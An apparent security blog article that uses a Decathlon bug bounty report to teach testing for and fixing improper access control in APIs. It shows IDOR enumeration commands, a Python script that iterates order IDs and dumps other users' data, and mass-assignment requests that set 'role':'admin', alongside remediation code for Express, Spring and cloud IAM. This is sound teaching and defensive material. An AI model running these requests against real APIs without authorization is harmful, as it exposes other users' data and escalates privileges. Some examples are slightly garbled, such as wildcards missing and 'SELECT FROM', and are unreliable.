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Introduction:
Improper Access Control (CWE-284) remains one of the most prevalent and dangerous API vulnerabilities, often enabling attackers to bypass authorization checks and access restricted resources. A recent bug bounty report accepted by YesWeHack on Decathlon’s program highlights how a seemingly minor misconfiguration in an API endpoint led to a rewarded finding (CVSS 4.4, €500), proving that even medium-severity flaws can have significant impact when chained appropriately.
Learning Objectives:
- Understand how Improper Access Control (CWE-284) manifests in REST and GraphQL APIs.
- Learn to identify and exploit IDOR (Insecure Direct Object References) using manual and automated techniques.
- Implement remediation strategies including proper authorization middleware, cloud IAM hardening, and API gateway policies.
You Should Know:
1. Detecting Improper Access Control via Parameter Tampering
This section extends the bug bounty finding: an API endpoint that failed to validate user permissions for accessing another user’s resource. The classic “IDOR” pattern involves modifying object identifiers in requests.
Step‑by‑step guide – manual testing with cURL (Linux) and PowerShell (Windows):
- Identify an API endpoint that returns user-specific data (e.g.,
/api/v1/orders/{order_id}). Log in as user A and capture a legitimate request. - Modify the identifier to a value belonging to another user (e.g., increment
order_id). Use cURL:
As user A, with session cookie curl -X GET "https://target.com/api/v1/orders/1001" -H "Cookie: session=abc123" Attempt IDOR to order 1002 curl -X GET "https://target.com/api/v1/orders/1002" -H "Cookie: session=abc123"
- Windows PowerShell equivalent:
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("session", "abc123", "/", "target.com")))
Invoke-RestMethod -Uri "https://target.com/api/v1/orders/1002" -WebSession $session
- Automate with Burp Suite: Send the request to Intruder, set payload position on the object ID, and use a numeric payload (1–1000). Look for HTTP 200 responses with data not belonging to your user.
-
Tool configuration (Postman): Create a collection with a variable
{{orderId}}. Write a pre‑request script to iterate IDs, and use Test scripts to flag responses containing unexpected user emails.
This technique directly mirrors the Decathlon bug – the reporter likely found an endpoint where object-level authorization was missing.
2. Exploiting Mass Assignment & Verb Tampering
Many API misconfigurations arise from overly permissive input handling. Attackers can add unexpected JSON parameters to create or modify resources they shouldn’t touch.
Step‑by‑step guide:
- Identify a PATCH or PUT endpoint (e.g.,
/api/v1/users/me). Send a legitimate update:
{"name": "attacker"}
- Add an administrative field like `”role”: “admin”` or
"is_admin": true. Send the modified payload:
curl -X PATCH "https://target.com/api/v1/users/me" -H "Content-Type: application/json" -d '{"name":"attacker","role":"admin"}' -H "Cookie: session=abc123"
- Test HTTP verb tampering: Some endpoints accept `X-HTTP-Method-Override` to bypass method‑based restrictions. For example, send a `POST` with `X-HTTP-Method-Override: DELETE` to delete another user’s resource.
-
Windows command using Invoke-RestMethod:
$body = @{name='attacker'; role='admin'} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/api/v1/users/me" -Method Patch -Body $body -ContentType "application/json" -WebSession $session
- Mitigation: Implement allowlist input validation, avoid using client‑provided fields for authorization decisions, and use dedicated DTOs (Data Transfer Objects) to bind only permitted fields.
- Cloud Hardening for API Access Control (AWS / Azure)
Improper access control often originates from cloud IAM misconfigurations, such as overly permissive API Gateway policies or Lambda execution roles.
Step‑by‑step guide – AWS:
- Review IAM policies attached to API Gateway and Lambda. Use AWS CLI:
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/MyApiPolicy aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/MyApiPolicy
- Check API Gateway resource policies for wildcard actions (
"Action": "") or principals ("Principal": ""). A misconfigured policy might allow any authenticated user to invoke admin endpoints. -
Enforce least privilege by creating fine‑grained policies that include `Condition` blocks based on `aws:ResourceTag` or
cognito-identity.amazonaws.com:sub. -
Azure example – review RBAC assignments on API Management:
Get-AzRoleAssignment -Scope "/subscriptions/.../resourceGroups/.../providers/Microsoft.ApiManagement/service/..."
- Hardening recommendation: Enable WAF on API Gateway, use Lambda authorizers to verify JWT claims, and implement per‑endpoint authorization middleware that checks user roles against resource ownership.
4. Automating Access Control Testing with Custom Scripts
To scale detection of CWE-284, security engineers can write Python scripts that brute-force object IDs and compare responses.
Step‑by‑step guide – Python script with `requests`:
import requests
session = requests.Session()
session.cookies.set('session', 'abc123')
Test for IDOR across order IDs 1-100
for order_id in range(1, 101):
url = f"https://target.com/api/v1/orders/{order_id}"
resp = session.get(url)
if resp.status_code == 200 and '[email protected]' not in resp.text:
print(f"[!] Potential IDOR: {url} returned data for user other than attacker")
Optionally dump the response
print(resp.json())
- Enhance with concurrency using `asyncio` or `ThreadPoolExecutor` for faster testing.
- Integrate into CI/CD as a regression test for every API deployment.
- Use Burp Suite extension “AuthZ” to automatically test every request with multiple user sessions – configure it with low‑privilege and high‑privilege tokens to detect vertical privilege escalation.
5. Mitigation & Secure Coding for APIs
Based on the Decathlon case, the security team likely fixed the issue by adding proper authorization checks. Here’s how to implement robust access control in code.
Step‑by‑step guide – Node.js (Express) with middleware:
// Middleware to check resource ownership
function authorizeResourceOwner(req, res, next) {
const userIdFromToken = req.user.id; // from JWT after authentication
const resourceUserId = req.params.userId; // e.g., /api/users/:userId/orders
if (userIdFromToken !== resourceUserId && !req.user.isAdmin) {
return res.status(403).json({ error: "Access denied" });
}
next();
}
app.get('/api/users/:userId/orders', authenticate, authorizeResourceOwner, getOrders);
- For Java Spring Boot use
@PreAuthorize:
@PreAuthorize("userId == authentication.principal.username or hasRole('ADMIN')")
@GetMapping("/api/users/{userId}/orders")
public List<Order> getOrders(@PathVariable String userId) { ... }
- Database‑level enforcement: Always include user context in SQL queries (e.g.,
SELECT FROM orders WHERE user_id = ? AND order_id = ?). Never rely solely on application‑layer filtering. -
API gateway rule (Kong or AWS): Inject user ID from JWT into a header, then configure a request transformer to reject requests where path parameter `user_id` does not match the JWT’s `sub` claim.
What Undercode Say:
- Even medium‑severity findings (CVSS 4.4) are valuable when they reveal broken access control, as they can be chained with other bugs to escalate privileges.
- Manual API testing with parameter tampering remains effective; automation scripts and Burp Suite extensions dramatically improve coverage.
- Cloud IAM misconfigurations are a leading cause of CWE-284 – enforce least privilege at every layer, from API Gateway to database queries.
The Decathlon bug bounty report underscores a critical reality: Improper Access Control is not just a “low‑hanging fruit” but a persistent class of vulnerability that bypasses perimeter defenses. Attackers don’t need SQLi or XSS when an API blindly trusts user-supplied identifiers. Defenders must shift left with automated IDOR testing in CI/CD, implement resource‑aware middleware, and regularly audit cloud IAM policies. The €500 reward reflects the industry’s acknowledgment that even “medium” severity flaws demand attention – because in a chained attack, a single missing `if` statement can become a full account takeover.
Prediction:
As organizations accelerate API‑first architectures, improper access control will remain the top API risk (OWASP API Security Top 10 1). The adoption of GraphQL will exacerbate the problem, as attackers can craft nested queries to extract unintended data. We predict a rise in automated “access control fuzzing” tools leveraging AI to generate anomalous object references, forcing security teams to adopt zero‑trust authorization models (e.g., OPA, Cedar). Bug bounty platforms like YesWeHack will see increased payouts for CWE‑284 as enterprises realize that misconfigured APIs are their new perimeter breach point.
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IT/Security Reporter URL:
Reported By: Matteo B – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
